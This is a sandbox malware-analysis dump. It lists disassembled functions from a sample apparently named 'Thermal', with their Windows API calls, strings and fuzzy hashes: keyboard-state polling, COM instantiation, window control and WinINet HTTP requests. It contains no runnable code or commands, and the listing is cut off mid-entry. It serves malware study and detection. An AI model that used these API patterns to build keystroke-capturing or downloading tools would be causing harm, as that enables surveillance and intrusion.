Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: f1313fdbae8f51cc8074cb5e53796a571cbad9ad224f7f3edc3b96c36735ebf0
Instruction ID: c8744a88f3859157527a4e09f7f7674964a7fb2d521bb9726fefd7b05916b978
Opcode Fuzzy Hash: f1313fdbae8f51cc8074cb5e53796a571cbad9ad224f7f3edc3b96c36735ebf0
Instruction Fuzzy Hash: C5418335A00219DFCB05DFA4D8489EEBBB9FF18354F00C169E955A7261C730EA95CF90

Function 00180508 Relevance: 16.6, APIs: 11, Instructions: 120keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00180530
GetAsyncKeyState.USER32(000000A0), ref: 001805B1
GetKeyState.USER32(000000A0), ref: 001805CC
GetAsyncKeyState.USER32(000000A1), ref: 001805E6
GetKeyState.USER32(000000A1), ref: 001805FB
GetAsyncKeyState.USER32(00000011), ref: 00180613
GetKeyState.USER32(00000011), ref: 00180625
GetAsyncKeyState.USER32(00000012), ref: 0018063D
GetKeyState.USER32(00000012), ref: 0018064F
GetAsyncKeyState.USER32(0000005B), ref: 00180667
GetKeyState.USER32(0000005B), ref: 00180679

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: ae6ded5d8008f5560649ce4a3d05ddf6966906ae13bf2e5704c893a87ee2cbfb
Instruction ID: d7fbe49775f1caf287de92c9025abbdb7914a8bd98d5a7006643d45b10cb3a0f
Opcode Fuzzy Hash: ae6ded5d8008f5560649ce4a3d05ddf6966906ae13bf2e5704c893a87ee2cbfb
Instruction Fuzzy Hash: 7241A5705047CE6DFFB3AA6488043B6BEA06B59304F18415ED5C6465C1FBA49BDCCFA2

Function 00198AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00124D37: __itow.LIBCMT ref: 00124D62
Part of subcall function 00124D37: __swprintf.LIBCMT ref: 00124DAC

CoInitialize.OLE32 ref: 00198AED
CoUninitialize.OLE32 ref: 00198AF8
CoCreateInstance.OLE32(?,00000000,00000017,001B3BBC,?), ref: 00198B58
IIDFromString.OLE32(?,?), ref: 00198BCB
VariantInit.OLEAUT32(?), ref: 00198C65
VariantClear.OLEAUT32(?), ref: 00198CC6

Strings

Invalid parameter, xrefs: 00198BE4
Failed to create object, xrefs: 00198B63, 00198C19
NULL Pointer assignment, xrefs: 00198B9D

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: da94288066cf750f106374abed8ccf0300a799bcde4782a3f515af65e8ec5781
Instruction ID: ee746e8f7fc6c9306117b4ba7b9ea56ef81365e97e7e73336d1217cadcf94d31
Opcode Fuzzy Hash: da94288066cf750f106374abed8ccf0300a799bcde4782a3f515af65e8ec5781
Instruction Fuzzy Hash: 706190706087119FCB10DF54D885F9BB7E8EF59714F044859F5869B291CB70ED44CBA2

Function 0018BB06 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0018BB13
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 0018BB89
GetLastError.KERNEL32 ref: 0018BB93
SetErrorMode.KERNEL32(00000000,READY), ref: 0018BC00

Strings

READONLY, xrefs: 0018BBCB
INVALID, xrefs: 0018BBD2
UNKNOWN, xrefs: 0018BBB8
NOTREADY, xrefs: 0018BBBF
READY, xrefs: 0018BBD9

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 81cc16dbe0140dd744b0200b3fa1a40072fc12754b90f0310688ec8b03fab7f7
Instruction ID: 9a6e3c091a9cbca56715aaccd57ea9eeca8b81de4cf401ba0c24447d045ff7b9
Opcode Fuzzy Hash: 81cc16dbe0140dd744b0200b3fa1a40072fc12754b90f0310688ec8b03fab7f7
Instruction Fuzzy Hash: 0631C135A04209AFCB10EF68C8D5EAEB7B4EF54310F14816AE806D73D5DB709A41CF91

Function 00179B47 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 00179BCC
GetDlgCtrlID.USER32 ref: 00179BD7
GetParent.USER32 ref: 00179BF3
SendMessageW.USER32(00000000,?,00000111,?), ref: 00179BF6
GetDlgCtrlID.USER32(?), ref: 00179BFF
GetParent.USER32(?), ref: 00179C1B
SendMessageW.USER32(00000000,?,?,00000111), ref: 00179C1E

Strings

ComboBox, xrefs: 00179B54
ListBox, xrefs: 00179B89

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: b92fe9a8c106154d9019df21dd2fcdd1bb0d0512032b08ebfba38a55344d0b87
Instruction ID: e920427713ea020530fecfe8e732b4b47e477804506a6cdc7945ad7c68e98f25
Opcode Fuzzy Hash: b92fe9a8c106154d9019df21dd2fcdd1bb0d0512032b08ebfba38a55344d0b87
Instruction Fuzzy Hash: 6121D3B0900204BFCF05EB60CC85EFEBBB5EFA9310F104256F965972D1DB7459589B20

Function 00179C32 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00131A36: _memmove.LIBCMT ref: 00131A77

Part of subcall function 0017B79A: GetClassNameW.USER32(?,?,000000FF), ref: 0017B7BD

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00179CB5
GetDlgCtrlID.USER32 ref: 00179CC0
GetParent.USER32 ref: 00179CDC
SendMessageW.USER32(00000000,?,00000111,?), ref: 00179CDF
GetDlgCtrlID.USER32(?), ref: 00179CE8
GetParent.USER32(?), ref: 00179D04
SendMessageW.USER32(00000000,?,?,00000111), ref: 00179D07

Strings

ComboBox, xrefs: 00179C3F
ListBox, xrefs: 00179C74

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 7688e4a3fcc9958c3f72bdd4aee1bcb4cbc6b37f5d9f7a88f6c5fb351efbc8ce
Instruction ID: 6955f195240c10bce06b114281ac7af32f818e7ae1aa51fc6bf8bfc26fda24d5
Opcode Fuzzy Hash: 7688e4a3fcc9958c3f72bdd4aee1bcb4cbc6b37f5d9f7a88f6c5fb351efbc8ce
Instruction Fuzzy Hash: 0B21D0B1A40204BBDF15EBA0CC85EFEBBB9EF98300F104112F95197291DB7589689A20

Function 00179D1B Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00179D27
GetClassNameW.USER32(00000000,?,00000100), ref: 00179D3C
_wcscmp.LIBCMT ref: 00179D4E
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00179DC9

Strings

smallicons, xrefs: 00179D91
details, xrefs: 00179D77
SHELLDLL_DefView, xrefs: 00179D48
largeicons, xrefs: 00179D5D
list, xrefs: 00179DAB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: b5f86e1c3f4e2ee8930e3d6edd81fd07b256599b9160729a737c7da203bfb1b8
Instruction ID: 035cbfbb8a6247e55f172ec4082acd8d578ac54fa16dcbb8b2fe93481fe42279
Opcode Fuzzy Hash: b5f86e1c3f4e2ee8930e3d6edd81fd07b256599b9160729a737c7da203bfb1b8
Instruction Fuzzy Hash: 111155B6248302BEFA256760FC07DA773ACCF15720F204113FA28A00E1FFA66E550990

Function 00198F95 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00198FC1
CoInitialize.OLE32(00000000), ref: 00198FEE
CoUninitialize.OLE32 ref: 00198FF8
GetRunningObjectTable.OLE32(00000000,?), ref: 001990F8
SetErrorMode.KERNEL32(00000001,00000029), ref: 00199225
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,001B3BDC), ref: 00199259
CoGetObject.OLE32(?,00000000,001B3BDC,?), ref: 0019927C
SetErrorMode.KERNEL32(00000000), ref: 0019928F
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0019930F
VariantClear.OLEAUT32(?), ref: 0019931F

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 0e93b7bd932672f13e8fee2a2e1a590e7ae603f2db0b9518fb23bf65e2952b0a
Instruction ID: 22d8069aceeae31965b9d431efe7be95a404ee926dda5c8f20202baa6d60d80e
Opcode Fuzzy Hash: 0e93b7bd932672f13e8fee2a2e1a590e7ae603f2db0b9518fb23bf65e2952b0a
Instruction Fuzzy Hash: 4EC133B1608305AFDB00DF68C88496BB7E9FF89348F00491DF98A9B251DB71ED45CB92

Function 001819CD Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 001819EF
GetForegroundWindow.USER32(00000000,?,?,?,?,?,00180A67,?,00000001), ref: 00181A03
GetWindowThreadProcessId.USER32(00000000), ref: 00181A0A
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00180A67,?,00000001), ref: 00181A19
GetWindowThreadProcessId.USER32(?,00000000), ref: 00181A2B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00180A67,?,00000001), ref: 00181A44
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00180A67,?,00000001), ref: 00181A56
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00180A67,?,00000001), ref: 00181A9B
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00180A67,?,00000001), ref: 00181AB0
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,00180A67,?,00000001), ref: 00181ABB

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: c448d0b9684593a531815f82098f707f051421b87db6e9091eda46437c9162f2
Instruction ID: e579f2ab0b790acae9be60a97e6e4d087b7ee7db9b6bd5a171d30f10ab84ecac
Opcode Fuzzy Hash: c448d0b9684593a531815f82098f707f051421b87db6e9091eda46437c9162f2
Instruction Fuzzy Hash: 8831BF72501284BFDB15AF94DD84FAA77AEBB58315F104215F808DB590DBB49EC28F50

Function 0015C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0012260D
SetTextColor.GDI32(?,000000FF), ref: 00122617
SetBkMode.GDI32(?,00000001), ref: 0012262C
GetStockObject.GDI32(00000005), ref: 00122634
GetClientRect.USER32(?), ref: 0015C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 0015C113
GetWindowDC.USER32(?), ref: 0015C11F
GetPixel.GDI32(00000000,?,?), ref: 0015C12E
ReleaseDC.USER32(?,00000000), ref: 0015C140
GetSysColor.USER32(00000005), ref: 0015C15E

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 7dcdac1b62f7c296fa243bbdcfa72629155901a37f54425471593486209c30e4
Instruction ID: 52b8f0ff08c35dd9945ec59c67621a5740fdbd8b73688445cfd8fdcb2ada1996
Opcode Fuzzy Hash: 7dcdac1b62f7c296fa243bbdcfa72629155901a37f54425471593486209c30e4
Instruction Fuzzy Hash: 26115E31500205FFDB625FA4EC48BEA7BB1EB08322F104365FA65994E1CB3149A1EF50

Function 0012AD98 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0012ADE1
OleUninitialize.OLE32(?,00000000), ref: 0012AE80
UnregisterHotKey.USER32(?), ref: 0012AFD7
DestroyWindow.USER32(?), ref: 00162F64
FreeLibrary.KERNEL32(?), ref: 00162FC9
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00162FF6

Strings

close all, xrefs: 0012ADDC

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: 5dafc25f1a4052095e555d496f848ccaf7587dfebe6a626f0f4d3c4bd95eb74c
Instruction ID: ee83a6458644a06cb91ab24b03bf46d7ce71b92dc326c9c37c99e796efeb41be
Opcode Fuzzy Hash: 5dafc25f1a4052095e555d496f848ccaf7587dfebe6a626f0f4d3c4bd95eb74c
Instruction Fuzzy Hash: 53A17C30701222CFCB29EF54D995A29F765FF14700F5142ADF90AAB261CB31AD66CF91

Function 0017AD69 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0017B13A), ref: 0017B078

Strings

NAME, xrefs: 0017AEAA
CLASS, xrefs: 0017ADF7
REGEXPCLASS, xrefs: 0017AE3D
INSTANCE, xrefs: 0017AF86
CLASSNN, xrefs: 0017AE1A
TEXT, xrefs: 0017AFAF

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 60d666de31c5bd9f2aa935c1f35d806ee8700f58499e2bc678f22dd4e2369993
Instruction ID: ddd1d87e8cf46b609f6cbd253ec11b12eeb1275369d8d4c36a3e09a30a231586
Opcode Fuzzy Hash: 60d666de31c5bd9f2aa935c1f35d806ee8700f58499e2bc678f22dd4e2369993
Instruction Fuzzy Hash: 4491A770A04605EACB18EFA0C481BEEFB75BF54304F94C11AE96EA7251DF30A959CB91

Function 001231F6 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 0012327E

Part of subcall function 0012218F: GetClientRect.USER32(?,?), ref: 001221B8
Part of subcall function 0012218F: GetWindowRect.USER32(?,?), ref: 001221F9
Part of subcall function 0012218F: ScreenToClient.USER32(?,?), ref: 00122221

GetDC.USER32 ref: 0015D073
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0015D086
SelectObject.GDI32(00000000,00000000), ref: 0015D094
SelectObject.GDI32(00000000,00000000), ref: 0015D0A9
ReleaseDC.USER32(?,00000000), ref: 0015D0B1
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 0015D13C

Strings

U, xrefs: 0015D011

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 9b5ac9ded4444a5f5deaf670e3c7d4a337743656e7ce4809f1f3713f2ca46f37
Instruction ID: 0d7530a864f2d718a66840d6fb0592f553de2586aded42e24cf83f45fa9cc3d0
Opcode Fuzzy Hash: 9b5ac9ded4444a5f5deaf670e3c7d4a337743656e7ce4809f1f3713f2ca46f37
Instruction Fuzzy Hash: 9E710030500205EFCF35CF64E884AAA7BB6FF49322F144269FD655E1A6C7318896DF60

Function 001AC634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 001229E2: GetWindowLongW.USER32(?,000000EB), ref: 001229F3

Part of subcall function 00122714: GetCursorPos.USER32(?), ref: 00122727
Part of subcall function 00122714: ScreenToClient.USER32(001E77B0,?), ref: 00122744
Part of subcall function 00122714: GetAsyncKeyState.USER32(00000001), ref: 00122769
Part of subcall function 00122714: GetAsyncKeyState.USER32(00000002), ref: 00122777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 001AC69C
ImageList_EndDrag.COMCTL32 ref: 001AC6A2
ReleaseCapture.USER32 ref: 001AC6A8
SetWindowTextW.USER32(?,00000000), ref: 001AC752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 001AC765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 001AC847

Strings

@GUI_DROPID, xrefs: 001AC799
@GUI_DRAGFILE, xrefs: 001AC7DC

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: 02017b93d787d83801c91b35583b065b71abaf847c8947cdaf27e23af23b07e2
Instruction ID: 3168f393805a2519047e0ec0b1108fa3620537af05789a396c52d0c970f58d7a
Opcode Fuzzy Hash: 02017b93d787d83801c91b35583b065b71abaf847c8947cdaf27e23af23b07e2
Instruction Fuzzy Hash: C8519B74508345AFDB00EF54DC99F6E7BE1FBA8310F004919F5558B2E1CB70A995CB91

Function 001920E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0019211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00192148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 0019218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0019219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 001921AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 001921DC
InternetCloseHandle.WININET(00000000), ref: 00192223

Part of subcall function 00192B4F: GetLastError.KERNEL32(?,?,00191EE3,00000000,00000000,00000001), ref: 00192B64
Part of subcall function 00192B4F: SetEvent.KERNEL32(?,?,00191EE3,00000000,00000000,00000001), ref: 00192B79

Strings

, xrefs: 001921CD

Memory Dump Source

Source File: 0000000C.00000002.2555457650.0000000000121000.00000020.00000001.01000000.00000008.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000C.00000002.2555347509.0000000000120000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555545618.00000000001D6000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555616779.00000000001E0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000C.00000002.2555663668.00000000001E9000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_120000_Thermal.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 3687c6b7d0c3d47ae5bcc35c6be51fa5596432a2e55d7ac580c6fccfb2d56962
Instruction ID: 93ea2eadd3c446a2bb666123e2f15fa5635611742b6240689ccd1c0c9f73c0c8
